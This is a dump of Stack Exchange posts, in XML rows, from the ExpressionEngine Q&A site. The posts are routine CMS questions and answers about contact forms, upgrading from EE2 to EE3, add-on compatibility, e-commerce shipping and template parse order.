  <row Id="35307" PostTypeId="1" CreationDate="2016-01-19T02:56:33.367" Score="0" ViewCount="23" Body="&lt;p&gt;I manually approve/validate member applications, so I don't need a member activation key email. What I am looking for is an automated email that pending members receive after submitting the registration form that tells them that we have received their info and that they will be approved shortly. I'm not very familiar with EE yet, so any help is appreciated. &lt;/p&gt;&#xA;" OwnerUserId="7014" LastActivityDate="2016-01-19T05:48:15.443" Title="How can I send an automated email to pending members after they complete the registration form?" Tags="|forms|email|automation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35308" PostTypeId="2" ParentId="35307" CreationDate="2016-01-19T05:48:15.443" Score="1" Body="&lt;p&gt;There's a free add-on that does just that: &lt;a href=&quot;https://devot-ee.com/add-ons/registration-emails&quot; rel=&quot;nofollow&quot;&gt;https://devot-ee.com/add-ons/registration-emails&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6825" LastActivityDate="2016-01-19T05:48:15.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35310" PostTypeId="1" CreationDate="2016-01-19T07:53:55.560" Score="2" ViewCount="1132" Body="&lt;p&gt;I have 5 websites that are all running on Expression Engine 2.5 - what, in simple dot point form has changed about ExpressionEngine in version 3. Whats been added, removed and updated?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would it simplify maintaining all 5 sites that are similar in there setup?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The EE website isn't very clear on the improvements&lt;/p&gt;&#xA;" OwnerUserId="6974" LastActivityDate="2016-01-19T10:08:43.377" Title="What is the difference between Expression Engine 2 and 3? Why should I upgrade all of my sites?" Tags="|ee2|multi-site-manager|ee2-upgrades|update|ee3|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35311" PostTypeId="2" ParentId="35303" CreationDate="2016-01-19T07:57:52.150" Score="1" Body="&lt;p&gt;You can either use built-in Global Variables feature or &lt;a href=&quot;http://gotolow.com/addons/low-variables&quot; rel=&quot;nofollow&quot;&gt;Low Variables&lt;/a&gt; add-on&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both will work same way, you'll just place {variable_name} in your templates, without any other special tags, but you may find Low Variables interface easier to manage variables, as they all are presented on same page.&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2016-01-19T07:57:52.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35312" PostTypeId="1" AcceptedAnswerId="35314" CreationDate="2016-01-19T08:41:39.813" Score="0" ViewCount="170" Body="&lt;p&gt;I am using EE's built in contact form feature ({exp:email:contact_form}) on my site and it works great. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue I have is that the user is shown the following EE page on submit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/JITmZ.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JITmZ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This looks really unprofessional and breaks the experience of the site. Is there a way I can stop this page from being shown? I have tried playing around with the redirect settings but no luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively would there be a way to style the page? For e.g If I was able to add classes to the elements on the page I could hide them in CSS&lt;/p&gt;&#xA;" OwnerUserId="7000" LastActivityDate="2016-01-19T09:45:23.783" Title="EE Contact Form With No Redirection" Tags="|redirects|css|email-contact-form|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35313" PostTypeId="1" AcceptedAnswerId="35331" CreationDate="2016-01-19T09:00:15.430" Score="1" ViewCount="211" Body="&lt;p&gt;I get the following errors in EE3.1:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mkdir(): Invalid path&#xA;ee/EllisLab/ExpressionEngine/Library/Filesystem/Filesystem.php, line 87&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;file_put_contents(): Filename cannot be empty&#xA;ee/EllisLab/ExpressionEngine/Library/Filesystem/Filesystem.php, line 74&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What could be the issue?&lt;/p&gt;&#xA;" OwnerUserId="1018" LastEditorUserId="1018" LastEditDate="2016-01-19T09:10:44.280" LastActivityDate="2016-01-20T19:16:17.390" Title="EE 3.1: Cannot save templates as file" Tags="|templates|ee3|template-manager|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35314" PostTypeId="2" ParentId="35312" CreationDate="2016-01-19T09:45:23.783" Score="0" Body="&lt;p&gt;You can use the parameter &lt;a href=&quot;https://docs.expressionengine.com/v2/add-ons/email/contact_form.html#return&quot; rel=&quot;nofollow&quot;&gt;return&lt;/a&gt; to set the page you want to go to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The message page can be styled in the control panel. Go to design -&gt; message templates -&gt; user message.&lt;/p&gt;&#xA;" OwnerUserId="6205" LastActivityDate="2016-01-19T09:45:23.783" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35315" PostTypeId="2" ParentId="35310" CreationDate="2016-01-19T10:08:43.377" Score="12" Body="&lt;p&gt;I'll attempt to keep this answer opinion free!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your first stop should be the &lt;a href=&quot;https://docs.expressionengine.com/latest/about/changelog.html#version-3-0-0&quot;&gt;EE3 changelog&lt;/a&gt;, and also catching up on the &lt;a href=&quot;https://ellislab.com/blog/c/expressionengine&quot;&gt;EllisLab blog&lt;/a&gt; over the past 6 months. But you'll also need to look at the &lt;a href=&quot;https://docs.expressionengine.com/v2/about/changelog.html&quot;&gt;EE2 changelog&lt;/a&gt; to see all the changes since your version that are also included in EE3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main changes are the infrastructure and Control Panel but it's where the v3 platform can take you into the future as it's far better structured for expansion, flexibility and new features.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your websites are already running an old version from May 2012 - this should be considered for an upgrade anyway to the latest v2.x version, if only for the security updates! If you don't appreciate the need for updating regularly, then best read up about &lt;a href=&quot;http://www.theregister.co.uk/2014/10/30/drupal_sites_considered_hosed_if_sqli_hole_unclosed/&quot;&gt;Drupal&lt;/a&gt; and the millions of websites with possible compromises from attacks in Oct 2014.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But ultimately the answer comes down to what your websites (or clients) want to do, if you/they are happy with the websites and don't need to change as they have all the functionality they need for the future, then there is no point. if you/they want to continue to expand the sites in the future, then you will need to factor in an upgrade at some point in the future as more and more add-on developers have stopped releasing updates for EE2 add-ons to focus on EE3. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are still EE1 websites in the wild, because that version still suits the requirements of the owners. So there is no essential requirement to upgrade to EE3 unless you outgrow EE2.&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2016-01-19T10:08:43.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35316" PostTypeId="2" ParentId="753" CreationDate="2016-01-19T11:34:35.263" Score="0" Body="&lt;p&gt;Thank you for this!  I was looking for a solution for the end user to enter a keyword into a custom field and display related entries and searched everywhere. This works!   &lt;/p&gt;&#xA;" OwnerUserId="1224" LastActivityDate="2016-01-19T11:34:35.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35319" PostTypeId="1" AcceptedAnswerId="35325" CreationDate="2016-01-19T13:07:40.670" Score="1" ViewCount="92" Body="&lt;p&gt;I get some errors when using Low Variables in EE 3.1 with php 7.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/hjrA0.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hjrA0.png&quot; alt=&quot;Screenshot from errors&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't have the issue when using php 5.6. So I'm using that. But it would be nice to use php 7.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any road map for making Low Variables compatible with PHP 7?&lt;/p&gt;&#xA;" OwnerUserId="1018" LastEditorUserId="3579" LastEditDate="2016-01-20T01:57:17.727" LastActivityDate="2016-01-20T09:04:15.777" Title="Low Variables causes php 7 warnings in ee 3.1" Tags="|php|low-variables|ee3|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35320" PostTypeId="1" CreationDate="2016-01-19T14:40:42.667" Score="0" ViewCount="43" Body="&lt;p&gt;I am using EE's contact form {exp:email:contact_form} for user submitted queries on my site and would like to know if its possible to customize the layout of the email it sends?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently I have several fields that need to be sent (first name, last name, mobile, email &amp;amp; message) and I have added them to the message content by naming all the inputs with the &lt;/p&gt;&#xA;&#xA;&lt;p&gt;name=&quot;message[]&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;attribute which adds each field on its own line. Am I able to add in for e.g a header piece of copy (&quot;The following is a query from your website&quot;) or labels for the fields (&quot;Firstname: {first_name_input}&quot; ?&lt;/p&gt;&#xA;" OwnerUserId="7000" LastActivityDate="2016-05-01T08:35:25.113" Title="Customizing the default EE email layout" Tags="|templates|email-contact-form|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35321" PostTypeId="2" ParentId="35304" CreationDate="2016-01-19T17:27:33.567" Score="0" Body="&lt;p&gt;Was able to resolve using the var_prefix parameter. Here's the correct code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $i = 1; ?&amp;gt;     &#xA;&#xA;{exp:channel:entries channel=&quot;pages&quot; dynamic=&quot;off&quot;}&#xA;    {studies_projects}&#xA;        &amp;lt;div class=&quot;col-sm-6 col-md-4 col-lg-3 col-xs-12&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;project-box &quot;&amp;gt;&#xA;                &amp;lt;img src=&quot;{image}&quot; alt=&quot;{cat_name} category image&quot;&amp;gt;&#xA;                &amp;lt;h3&amp;gt;{cat_name}&amp;lt;/h3&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;ul&amp;gt;&#xA;                {playa_projects var_prefix=&quot;playafield&quot;}&#xA;                    &amp;lt;?php $count = $i++; ?&amp;gt;&#xA;                    &amp;lt;li&amp;gt;&amp;lt;a class=&quot;fancybox&quot; href=&quot;#inline-&amp;lt;?php echo $count; ?&amp;gt;&quot; title=&quot;{studies_caption}&quot;&amp;gt;{playafield:title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                    &amp;lt;div id=&quot;inline-&amp;lt;?php echo $count; ?&amp;gt;&quot; style=&quot;display: none;&quot;&amp;gt;&#xA;                        &amp;lt;div id=&quot;slider&amp;lt;?php echo $count; ?&amp;gt;&quot; class=&quot;flexslider slider-js&quot;&amp;gt;&#xA;                            &amp;lt;div class=&quot;flex-heading&quot;&amp;gt;&#xA;                                &amp;lt;div class=&quot;col-md-6&quot;&amp;gt;&#xA;                                    &amp;lt;h2&amp;gt;{playafield:project_name}&amp;lt;/h2&amp;gt;&#xA;                                &amp;lt;/div&amp;gt;&#xA;                                {playafield:studies_outline_block var_prefix=&quot;nested_matrix&quot;}&#xA;                                    {if nested_matrix:content_1}&#xA;                                        &amp;lt;div class=&quot;col-md-2 project-name&quot;&amp;gt;&#xA;                                            &amp;lt;h3&amp;gt;Project Size&amp;lt;/h3&amp;gt;&#xA;                                            {nested_matrix:content_1}&#xA;                                        &amp;lt;/div&amp;gt;&#xA;                                    {/if}&#xA;                                    {if nested_matrix:content_2}&#xA;                                        &amp;lt;div class=&quot;col-md-2 project-name&quot;&amp;gt;&#xA;                                            &amp;lt;h3&amp;gt;Project Cost&amp;lt;/h3&amp;gt;&#xA;                                            {nested_matrix:content_2}&#xA;                                        &amp;lt;/div&amp;gt;&#xA;                                    {/if}&#xA;                                    {if nested_matrix:content_3}&#xA;                                        &amp;lt;div class=&quot;col-md-2 project-name&quot;&amp;gt;&#xA;                                            &amp;lt;h3&amp;gt;Project Use&amp;lt;/h3&amp;gt;&#xA;                                            {nested_matrix:content_3}&#xA;                                        &amp;lt;/div&amp;gt;&#xA;                                    {/if}&#xA;                                {/playafield:studies_outline_block}&#xA;                            &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;ul class=&quot;slides&quot;&amp;gt;&#xA;                                {studies_image_gallery}&#xA;                                    &amp;lt;li&amp;gt;&amp;lt;img src=&quot;{playafield:url}&quot; /&amp;gt;&amp;lt;/li&amp;gt;&#xA;                                {/studies_image_gallery}&#xA;                            &amp;lt;/ul&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div id=&quot;carousel&amp;lt;?php echo $count; ?&amp;gt;&quot; class=&quot;flexslider carousel-js&quot;&amp;gt;&#xA;                            &amp;lt;ul class=&quot;slides&quot;&amp;gt;&#xA;                                {studies_image_gallery}&#xA;                                    &amp;lt;li&amp;gt;&amp;lt;img src=&quot;{playafield:url}&quot; /&amp;gt;&amp;lt;/li&amp;gt;&#xA;                                {/studies_image_gallery}&#xA;                            &amp;lt;/ul&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                {/playa_projects}&#xA;            &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    {/studies_projects}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2889" LastActivityDate="2016-01-19T17:27:33.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35322" PostTypeId="1" CreationDate="2016-01-19T19:56:29.193" Score="0" ViewCount="40" Body="&lt;p&gt;Looking for a bit of help with Exp:resso Store's USPS shipping plugin. Either I'm not looking at the correct page in the documentation, or it just isn't fully documented. Being new to this, it makes no sense to me. Your help is appreciated. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I WAS using the native, built in shipping feature that comes with the Store module itself. I had 2 shipping rules in place, but as my husband pointed out, if they only order one, tiny thing, it's unfair to charge the flat rate postage. Indeed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thinking it would help, I purchased the USPS shipping plugin. I have it installed, and have my USPS API username in place. I have it set to Variable Container Size, International Mailtype set to ALL, even though I do not ship outside of the U.S, and have &quot;Priority&quot; checked under &quot;Service - US Only&quot;. (As a sidenote, regardless of unchecking all of the international options and saving my preferences, I come back only to find them re-checked.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I implemented this code on my FIRST checkout page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;td&amp;gt;Shipping&amp;lt;/td&amp;gt;&#xA;&amp;lt;td colspan=&quot;2&quot;&amp;gt;&#xA;&amp;lt;select name=&quot;shipping_method&quot;&amp;gt;&#xA;&amp;lt;option value=&quot;&quot;&amp;gt;Select a shipping method...&amp;lt;/option&amp;gt;&#xA;{shipping_methods}&#xA;&amp;lt;option value=&quot;{method_id}&quot;&amp;gt;{method_title} ({method_price})&amp;lt;/option&amp;gt;&#xA;{/shipping_methods}&#xA;&amp;lt;/select&amp;gt;&#xA;&#xA;&#xA;{if error:shipping_method}&#xA;&amp;lt;p class=&quot;TCBHelpBlock&quot;&amp;gt;&#xA;{error:shipping_method}&amp;lt;/p&amp;gt;&#xA;{/if}&#xA;&amp;lt;/td&amp;gt;&#xA;&amp;lt;td style=&quot;text-align:right&quot;&amp;gt;&#xA;{order_shipping}&#xA;&amp;lt;/td&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I'm aiming for is shipping to be calculated based on the customer's address, which I realize isn't input until the 2nd checkout page; however, what's happening on the first page is one of 2 things: If I already have shipping rules in place in the native shipping feature, it automatically puts the shipping amount next to the dropdown, regardless of whether or not it's selected, or B) if I delete the native shipping rules I created, I'm left with a select field with no options. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I presumed that the USPS Shipping plugin would have automatically placed &quot;Priority Mail&quot; in the dropdown list, but it isn't. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong? Is there a fully detailed example code somewhere that I can peek? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry for the length; just trying to give all the details...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="6513" LastActivityDate="2016-06-07T17:59:50.327" Title="Exp:resso Store - Auto-Calculate Shipping Based on Address" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35324" PostTypeId="2" ParentId="35322" CreationDate="2016-01-20T01:09:28.790" Score="0" Body="&lt;p&gt;USPS, UPS, and FedEx all require that you at least have the users zip, state and city entered for it to work. As of Store 2 the shipping drop down will only show shipping options eligible for your address (this prevents seeing international shipping rates for example if you live in the US and it is coming from the US. You will need to either move your shipping option selection until after your users enter their shipping information or have the user create an account and save their shipping details before going through the checkout process. &lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2016-01-20T01:09:28.790" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35325" PostTypeId="2" ParentId="35319" CreationDate="2016-01-20T09:04:15.777" Score="2" Body="&lt;p&gt;No, there is no roadmap for making LV—or any other Low add-on—compatible with PHP7.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2016-01-20T09:04:15.777" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35326" PostTypeId="1" AcceptedAnswerId="35337" CreationDate="2016-01-20T15:14:55.510" Score="1" ViewCount="385" Body="&lt;p&gt;Can I confirm that if a custom module does not have a control panel interface, conversion from EE2 &gt; EE3 only requires the following changes:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create a &lt;em&gt;addon.setup.php&lt;/em&gt; file&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="822" LastActivityDate="2016-01-21T07:10:36.170" Title="Upgrading module from EE2 &gt; EE3" Tags="|ee2|add-on-development|module|plugin|ee3|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35327" PostTypeId="2" ParentId="35298" CreationDate="2016-01-20T16:28:01.130" Score="0" Body="&lt;p&gt;It turned out to be a pretty basic error - wrong version of PHP on the server.&lt;/p&gt;&#xA;" OwnerUserId="2024" LastActivityDate="2016-01-20T16:28:01.130" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35328" PostTypeId="1" CreationDate="2016-01-20T16:43:10.923" Score="1" ViewCount="89" Body="&lt;p&gt;I'm using Solspace's Calendar module to assign multiple dates to entries and I need the option to search through these entries by date using the Solspace Supersearch module, i've not come accross any docs on this. If I look at the field in the exp_channel_data table its just assigning the id of the calendar being used.&#xA;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3369" LastActivityDate="2016-06-02T21:30:34.533" Title="Is it possible to search Solspace Calendar dates with Supersearch" Tags="|solspace-calendar|supersearch|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35329" PostTypeId="2" ParentId="35141" CreationDate="2016-01-20T17:16:52.560" Score="0" Body="&lt;p&gt;Here was my final solution. Within my config file, take apart the url with PHP and create a custom cookie_domain config.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only downside is that in order for cookies to work properly across all subdomains I have to serve the site from www.example.com and not from example.com&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$host = $_SERVER['HTTP_HOST'];&#xA;$host_array = explode('.', $host);&#xA;$subdomain = array_shift($host_array);&#xA;$extension = array_pop($host_array);&#xA;$domain = array_shift($host_array);&#xA;&#xA;$env_config['allow_multi_logins'] = &quot;y&quot;;&#xA;$env_config['cookie_domain'] = &quot;.&quot; . $domain . &quot;.&quot; . $extension;&#xA;$env_config['cookie_prefix'] = &quot;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="336" LastActivityDate="2016-01-20T17:16:52.560" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35330" PostTypeId="1" CreationDate="2016-01-20T17:38:34.320" Score="1" ViewCount="1082" Body="&lt;p&gt;I have the following tag that creates a simple search form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:search:simple_form channel=&quot;{exp:stash:get name='listing_channel'}&quot; result_page=&quot;blog/search&quot; no_result_page=&quot;blog/search&quot; results=&quot;20&quot; form_class=&quot;search&quot; search_in=&quot;everywhere&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am trying to pass in the channel using the stash variable listing_channel from my template file - it is set to &quot;blog&quot;. This tag only works if I add parse=&quot;inward&quot;. My understanding is that without parse=&quot;inward&quot;, the stash get tag would be parsed before the outer tag, which would result in the search form tag seeing channel=&quot;blog&quot;. I would think that this is what I would want, but yet it  only works with parse=&quot;inward&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With parse=&quot;inward&quot;, wouldn't the stash variable be parsed after the search form tag? I would expect this to not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If someone with a better understanding could explain why parse=&quot;inward&quot; is making this work, I'd really appreciate it!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="7013" LastActivityDate="2017-09-08T01:28:42.817" Title="parse=&quot;inward&quot; question" Tags="|templates|stash|template-partials|" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35331" PostTypeId="2" ParentId="35313" CreationDate="2016-01-20T19:16:17.390" Score="0" Body="&lt;p&gt;A temporary fix with a patch coming: &lt;a href=&quot;https://support.ellislab.com/bugs/detail/21507/creating-template-group-results-in-errors-.-3.1&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/21507/creating-template-group-results-in-errors-.-3.1&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="429" LastActivityDate="2016-01-20T19:16:17.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35332" PostTypeId="2" ParentId="35328" CreationDate="2016-01-20T19:39:34.863" Score="0" Body="&lt;p&gt;This is not possible out-of-the-box, but there is a workaround:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on how exactly you plan to search for Calendar events, you could use the &lt;a href=&quot;https://solspace.com/expressionengine/preparse&quot; rel=&quot;nofollow&quot;&gt;Solspace Preparse add-on&lt;/a&gt;. What you could do is create a new field that is used to parse the calendar data in a plain string text value (you could format the date however you please).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Preparse field will populate data (in this case from Calendar) after you publish/update the entry, and insert whatever data you've told it to (using a regular EE template) back into your Preparse field for the entry. That would mean you then have a field that is searchable by Super Search. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could then attempt to run a range (from/to) search on it in your search form.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2016-01-20T19:39:34.863" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35334" PostTypeId="1" AcceptedAnswerId="35335" CreationDate="2016-01-20T22:38:11.970" Score="0" ViewCount="30" Body="&lt;p&gt;I'm extending the Channel module &lt;code&gt;entries()&lt;/code&gt; method in my custom plugin and am trying to figure out how to include the &lt;code&gt;search:&lt;/code&gt; parameter. I get that the search parameters are an array accessed via &lt;code&gt;ee()-&amp;gt;TMPL-&amp;gt;search_fields&lt;/code&gt;, but I can't figure out how to pass that data to the method. Here's what I have (simplified):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function entries()&#xA;{&#xA;    $channel = ee()-&amp;gt;TMPL-&amp;gt;fetch_param('channel');&#xA;    $search_fields = ee()-&amp;gt;TMPL-&amp;gt;search_fields;&#xA;&#xA;    return $this-&amp;gt;_channel_entries($channel, $search_fields);&#xA;}&#xA;&#xA;private function _channel_entries( $channel='', $search_fields=array() )&#xA;{&#xA;    ee()-&amp;gt;TMPL-&amp;gt;tagparams = array(&#xA;        'channel' = $channel,&#xA;        'disable' = 'member_data|pagination|categories'&#xA;    );&#xA;&#xA;    ee()-&amp;gt;TMPL-&amp;gt;search_fields = $search_fields;&#xA;&#xA;    if (! class_exists('channel'))&#xA;  {&#xA;      require_once PATH_MOD.'channel/mod.channel.php';&#xA;  }&#xA;&#xA;  $channel = new Channel;&#xA;&#xA;  return $channel-&amp;gt;entries();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How do I give the &lt;code&gt;entries()&lt;/code&gt; method access to the &lt;code&gt;search_fields&lt;/code&gt; data?&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2016-01-20T22:52:37.707" Title="Enable &quot;search:&quot; Parameter in Custom Add-On Channel Entries Method (EE2)" Tags="|ee2|channel-entries|add-on-development|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35335" PostTypeId="2" ParentId="35334" CreationDate="2016-01-20T22:52:37.707" Score="1" Body="&lt;p&gt;If those methods are in your own plugin/module, then the &lt;code&gt;search:foo&lt;/code&gt; parameters &lt;em&gt;won't&lt;/em&gt; be added to the &lt;code&gt;search_fields&lt;/code&gt; property. That only happens for the channel:entries tag. For any other tag, those parameters are present in the &lt;code&gt;ee()-&amp;gt;TMPL-&amp;gt;tagparams&lt;/code&gt; array. So, to pass them on to the native Channel::entries(), read the param from the &lt;code&gt;tagparams&lt;/code&gt; array, strip the &lt;code&gt;search:&lt;/code&gt; prefix from the key, and set the &lt;code&gt;search_fields&lt;/code&gt; array before calling the &lt;code&gt;entries&lt;/code&gt; method.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2016-01-20T22:52:37.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35337" PostTypeId="2" ParentId="35326" CreationDate="2016-01-21T07:10:36.170" Score="2" Body="&lt;p&gt;Generally yes, you only need to add addon.setup.php. There of course could be some deprecated code etc.&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2016-01-21T07:10:36.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35338" PostTypeId="2" ParentId="32638" CreationDate="2016-01-21T11:58:41.720" Score="0" Body="&lt;p&gt;I think this is a parse order issue, you may need to add &lt;code&gt;parse=&quot;inward&quot;&lt;/code&gt; to your nested &lt;code&gt;set_list&lt;/code&gt;. Using this means that it will parse the variable in your &lt;code&gt;name&lt;/code&gt; parameter early on.&lt;/p&gt;&#xA;" OwnerUserId="2764" LastActivityDate="2016-01-21T11:58:41.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35340" PostTypeId="1" AcceptedAnswerId="35346" CreationDate="2016-01-21T13:29:27.447" Score="0" ViewCount="42" Body="&lt;p&gt;Okay, I've run into unsual cituation with Exp:resso Store and hope that the community will be able to help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site I'm working on is selling prints and the purchase's price is built depending on print dimentions. So in the backend, the item's price is set per square cm, then on front-end I have simple Javascript calculator which turns the width and height that user inputs into square area. Which, multiplied to the item's cost per cm, is the order subtotal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Such setup means that the price for square cm is quite low (and minumum order is 0.5 square meter)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have &quot;Currency Decimal Places&quot; setting set to &quot;8&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I found out I can't really enter amount like &quot;0.000095&quot;as the item price - it's getting rounded to &quot;0.00010000&quot; when the entry is saved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone suggest what do do here to prevent rounding?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or maybe some alternative solution which would allow me to charge for the print based on its square area?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running Store 2.3.1 on EE 2.9.0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot!&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2016-01-22T13:16:12.380" Title="Expresso Store: Prevent prices from being rounded up" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35341" PostTypeId="2" ParentId="35330" CreationDate="2016-01-21T13:37:22.607" Score="2" Body="&lt;p&gt;Tags inside parameters aren't parsed at all unless you use &lt;code&gt;parse=&quot;inward&quot;&lt;/code&gt;. That's because once parsed a tags' parameters are removed from the template (replaced with the output of the tag). Thus tags in parameters are never parsed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;parse=&quot;inward&quot;&lt;/code&gt; parameter tells EE to parse the other parameters passed to the parent tag before they are received by the tag's module code. Each parameter is parsed in turn (whether or not it has tags in it) so using it adds a small overhead to parsing.&lt;/p&gt;&#xA;" OwnerUserId="289" LastEditorUserId="289" LastEditDate="2016-01-22T10:41:37.777" LastActivityDate="2016-01-22T10:41:37.777" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
